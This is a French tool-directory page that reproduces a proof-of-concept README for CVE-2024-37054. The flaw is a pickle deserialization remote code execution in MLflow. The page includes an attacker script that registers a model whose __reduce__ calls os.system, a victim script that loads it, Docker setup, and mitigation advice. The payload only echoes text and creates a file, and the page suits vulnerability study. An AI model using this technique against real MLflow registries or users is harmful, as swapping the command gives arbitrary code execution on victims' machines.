Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Ce dépôt contient une preuve de concept (PoC) pour une vulnérabilité critique de désérialisation dans MLflow qui permet l'exécution de code à distance (RCE). | Kitploit
Outils/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Ce dépôt contient une preuve de concept (PoC) pour une vulnérabilité critique de désérialisation dans MLflow qui permet l'exécution de code à distance (RCE).

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3il y a 0 ansPas encore vérifié
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: Preuve de concept d'exécution de code à distance MLflow

CVE License GitHub LinkedIn


Ce dépôt contient une preuve de concept (PoC) pour CVE-2024-37054, une vulnérabilité critique de désérialisation dans MLflow qui permet l'exécution de code à distance (RCE).

📚 Table des matières

  • Détails de la vulnérabilité
  • Preuve de concept (PoC)
  • Atténuation
  • Références
  • À propos de l'auteur

🚨 Détails de la vulnérabilité

  • Identifiant CVE: CVE-2024-37054
  • Résumé: Une vulnérabilité de désérialisation existe dans la fonction mlflow.pyfunc.load_model. Un attaquant peut créer un modèle malveillant contenant une charge utile sérialisée (pickle). Lorsque la victime charge ce modèle, la charge utile est désérialisée via cloudpickle.load, conduisant à l'exécution de code arbitraire sur la machine de la victime.
  • Produits concernés: Versions de MLflow de 0.9.0 jusqu'à, mais non comprise, 2.14.2.
  • Fonction vulnérable: _load_pyfunc dans mlflow/pyfunc/model.py.

🛠️ Preuve de concept (PoC)

Cette preuve de concept simule deux rôles : un attaquant qui télécharge un modèle malveillant et une victime qui le charge, déclenchant l'exécution de code à distance (RCE).

1. Configuration de l'environnement

Le moyen le plus simple de configurer un serveur MLflow vulnérable est d'utiliser le Dockerfile fourni.

Construire et exécuter le conteneur Docker :

root@kitploit:~
# 1. Build the Docker image
docker build -t mlflow-vulnerable .

# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Votre serveur MLflow vulnérable est maintenant en cours d'exécution à l'adresse http://127.0.0.1:5000.

2. Étapes d'exécution

Vous aurez besoin de deux terminaux distincts sur votre machine hôte. Assurez-vous d'avoir une version vulnérable de mlflow installée localement (pip install mlflow==2.14.1) pour exécuter les scripts clients.

Partie 1 : Attaquant - Enregistrer le modèle malveillant

Dans votre premier terminal, exécutez le script de l'attaquant pour enregistrer le modèle malveillant.

Cliquez pour voir le script de l'attaquant (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Exécutez-le :

root@kitploit:~
python poc/log_malicious_model.py

Partie 2 : Victime - Charger le modèle vulnérable

Dans votre deuxième terminal, exécutez le script de la victime pour simuler le chargement du modèle compromis.

Cliquez pour voir le script de la victime (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

Exécutez-le :

root@kitploit:~
python poc/load_vulnerable_model.py

3. Observer le résultat

Après avoir exécuté le script de la victime, vous verrez le message /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found dans le terminal, et un nouveau fichier nommé pwned.txt sera créé dans votre répertoire. Cela confirme l'exécution réussie de la commande.


🛡️ Atténuation

  • Mettre à jour MLflow : Mettez à jour vers la version 2.14.2 ou ultérieure, où cette vulnérabilité a été corrigée.
  • Ne jamais charger de modèles non fiables : Chargez uniquement des modèles ML provenant de sources entièrement fiables.

🔍 Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Avis d'origine : https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 À propos de l'auteur

Cette preuve de concept a été développée par Pujari Niteesh.

  • Ingénieur de recherche en cybersécurité
  • GitHub : NiteeshPujari
  • LinkedIn : NiteeshPujari
  • Site web : www.niteesh.in
Télécharger l’outil